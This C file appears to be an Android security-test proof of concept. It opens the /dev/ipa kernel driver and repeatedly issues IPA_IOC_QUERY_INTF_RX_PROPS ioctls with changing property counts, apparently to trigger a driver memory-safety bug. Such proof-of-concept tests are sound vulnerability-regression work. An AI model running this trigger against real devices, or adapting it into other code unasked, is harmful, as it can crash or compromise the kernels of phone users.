1 /**
2 * Copyright (C) 2016 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17
18 #define _GNU_SOURCE
19
20 #include <pthread.h>
21 #include <sys/types.h>
22 #include <sys/wait.h>
23
24 #include <sys/stat.h>
25 #include <fcntl.h>
26 #include <sys/ioctl.h>
27 #include <string.h>
28 #include "local_poc.h"
29 #include <unistd.h>
30 #include <stdio.h>
31
32 struct ipa_ioc_query_intf_rx_props_2 {
33 char name[IPA_RESOURCE_NAME_MAX];
34 uint32_t num_rx_props;
35 struct ipa_ioc_rx_intf_prop rx[2];
36 };
main()37 int main() {
38
39 int fd = open("/dev/ipa", O_RDWR);
40
41 struct ipa_ioc_query_intf query_intf;
42 strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
43
44 int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
45
46 ipa_ioc_query_intf_rx_props_2 rx_props_2;
47 memset(&rx_props_2, 0, sizeof(rx_props_2));
48 strlcpy(&(rx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
49 rx_props_2.num_rx_props = 2;
50
51 int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props_2);
52
53 while (true) {
54 ipa_ioc_query_intf_rx_props rx_props;
55 memset(&rx_props, 0, sizeof(rx_props));
56 strlcpy(&(rx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
57 rx_props.num_rx_props = 0;
58
59 int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props);
60
61 usleep(10000);
62 }
63 return 0;
64 }
65